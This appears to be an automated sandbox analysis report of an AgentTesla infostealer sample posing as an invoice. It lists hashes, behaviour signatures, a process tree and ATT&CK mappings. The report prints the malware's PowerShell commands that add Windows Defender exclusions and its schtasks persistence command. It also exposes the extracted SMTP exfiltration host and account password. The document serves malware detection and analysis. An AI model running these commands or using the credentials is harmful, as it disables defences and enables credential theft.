Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
120s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
04/10/2024, 08:55
Static task
static1
Behavioral task
behavioral1
Sample
PROFORMA FATURA.exe
Resource
win7-20240708-en
General
-
Target
PROFORMA FATURA.exe
-
Size
804KB
-
MD5
49c53c3c0868699a9cbe2ef3d5bfcb8e
-
SHA1
3113b54138af9199fd97f96a42542541b6a8fdb3
-
SHA256
0ad205b2d883bca56250246f308228379c27f6114d8b740014deeef53b3412bb
-
SHA512
2a3a51767f4409a70e5fff84468a0aebd2eb7ea200f09aebdb2fb70274a4d25fa05c15e1194d4cbd3fe83d060d53aa4a584ae6449977af63d142b9d3ec82e7e3
-
SSDEEP
12288:DrG4eUyzwoF6w7g9vZ7Bw6/992kJ9TaRdxkYv8HrAvTmeXNig8g7N5hkR:WvUClwR7BVvRJ9GOted77Ni
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
zqamcx.com - Port:
587 - Username:
[email protected] - Password:
Methodman991 - Email To:
[email protected]
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2720 powershell.exe 2832 powershell.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2360 set thread context of 2904 2360 PROFORMA FATURA.exe 39 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PROFORMA FATURA.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PROFORMA FATURA.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2768 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 15 IoCs
pid Process 2360 PROFORMA FATURA.exe 2360 PROFORMA FATURA.exe 2360 PROFORMA FATURA.exe 2360 PROFORMA FATURA.exe 2360 PROFORMA FATURA.exe 2360 PROFORMA FATURA.exe 2360 PROFORMA FATURA.exe 2360 PROFORMA FATURA.exe 2360 PROFORMA FATURA.exe 2360 PROFORMA FATURA.exe 2360 PROFORMA FATURA.exe 2904 PROFORMA FATURA.exe 2904 PROFORMA FATURA.exe 2832 powershell.exe 2720 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2360 PROFORMA FATURA.exe Token: SeDebugPrivilege 2904 PROFORMA FATURA.exe Token: SeDebugPrivilege 2832 powershell.exe Token: SeDebugPrivilege 2720 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2904 PROFORMA FATURA.exe -
Suspicious use of WriteProcessMemory 29 IoCs
description pid Process procid_target PID 2360 wrote to memory of 2720 2360 PROFORMA FATURA.exe 31 PID 2360 wrote to memory of 2720 2360 PROFORMA FATURA.exe 31 PID 2360 wrote to memory of 2720 2360 PROFORMA FATURA.exe 31 PID 2360 wrote to memory of 2720 2360 PROFORMA FATURA.exe 31 PID 2360 wrote to memory of 2832 2360 PROFORMA FATURA.exe 33 PID 2360 wrote to memory of 2832 2360 PROFORMA FATURA.exe 33 PID 2360 wrote to memory of 2832 2360 PROFORMA FATURA.exe 33 PID 2360 wrote to memory of 2832 2360 PROFORMA FATURA.exe 33 PID 2360 wrote to memory of 2768 2360 PROFORMA FATURA.exe 35 PID 2360 wrote to memory of 2768 2360 PROFORMA FATURA.exe 35 PID 2360 wrote to memory of 2768 2360 PROFORMA FATURA.exe 35 PID 2360 wrote to memory of 2768 2360 PROFORMA FATURA.exe 35 PID 2360 wrote to memory of 2724 2360 PROFORMA FATURA.exe 37 PID 2360 wrote to memory of 2724 2360 PROFORMA FATURA.exe 37 PID 2360 wrote to memory of 2724 2360 PROFORMA FATURA.exe 37 PID 2360 wrote to memory of 2724 2360 PROFORMA FATURA.exe 37 PID 2360 wrote to memory of 1940 2360 PROFORMA FATURA.exe 38 PID 2360 wrote to memory of 1940 2360 PROFORMA FATURA.exe 38 PID 2360 wrote to memory of 1940 2360 PROFORMA FATURA.exe 38 PID 2360 wrote to memory of 1940 2360 PROFORMA FATURA.exe 38 PID 2360 wrote to memory of 2904 2360 PROFORMA FATURA.exe 39 PID 2360 wrote to memory of 2904 2360 PROFORMA FATURA.exe 39 PID 2360 wrote to memory of 2904 2360 PROFORMA FATURA.exe 39 PID 2360 wrote to memory of 2904 2360 PROFORMA FATURA.exe 39 PID 2360 wrote to memory of 2904 2360 PROFORMA FATURA.exe 39 PID 2360 wrote to memory of 2904 2360 PROFORMA FATURA.exe 39 PID 2360 wrote to memory of 2904 2360 PROFORMA FATURA.exe 39 PID 2360 wrote to memory of 2904 2360 PROFORMA FATURA.exe 39 PID 2360 wrote to memory of 2904 2360 PROFORMA FATURA.exe 39
Processes
-
C:\Users\Admin\AppData\Local\Temp\PROFORMA FATURA.exe"C:\Users\Admin\AppData\Local\Temp\PROFORMA FATURA.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2360 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\PROFORMA FATURA.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2720
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\GvgUQlbRIXOe.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2832
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GvgUQlbRIXOe" /XML "C:\Users\Admin\AppData\Local\Temp\tmp1584.tmp"2⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:2768
-
-
C:\Users\Admin\AppData\Local\Temp\PROFORMA FATURA.exe"C:\Users\Admin\AppData\Local\Temp\PROFORMA FATURA.exe"2⤵PID:2724
-
-
C:\Users\Admin\AppData\Local\Temp\PROFORMA FATURA.exe"C:\Users\Admin\AppData\Local\Temp\PROFORMA FATURA.exe"2⤵PID:1940
-
-
C:\Users\Admin\AppData\Local\Temp\PROFORMA FATURA.exe"C:\Users\Admin\AppData\Local\Temp\PROFORMA FATURA.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2904
-
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
4Credentials In Files
3Credentials in Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5ac5d02e7e5926109efe03c99a38c8149
SHA151a3d3cd3c7e792c1f2e3b7e8b053975460eab61
SHA256fdb223df2a1b4e4e72f3d31ede370792f4a0630a96ffc5115c27e01d0fd80f57
SHA512d26ffd98600c22e035fd20bc3d006ab10164bde787cbaa2b74713455469aed9f1e595a65f7ea970d2b7da3c2392b2509f2d2e809d1b9766dc52d4c62d522b547
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD50a13b48148ac9a77e7f01c0b40ec6d15
SHA1ea474bfa226e57d92c70dc512379eaa5bf61b8d3
SHA256ca54a75793a90de320195718c194c972bba2c70615307c0658441255f15c4a50
SHA51203cb3be096d5ed98de746f93d3d18eaf0c79cc3fc425182ce00807b25640a2da8219ef4f24dfa3a1a3e9c1c276a62c5be4c264b080a34ee507875f96ab16abfd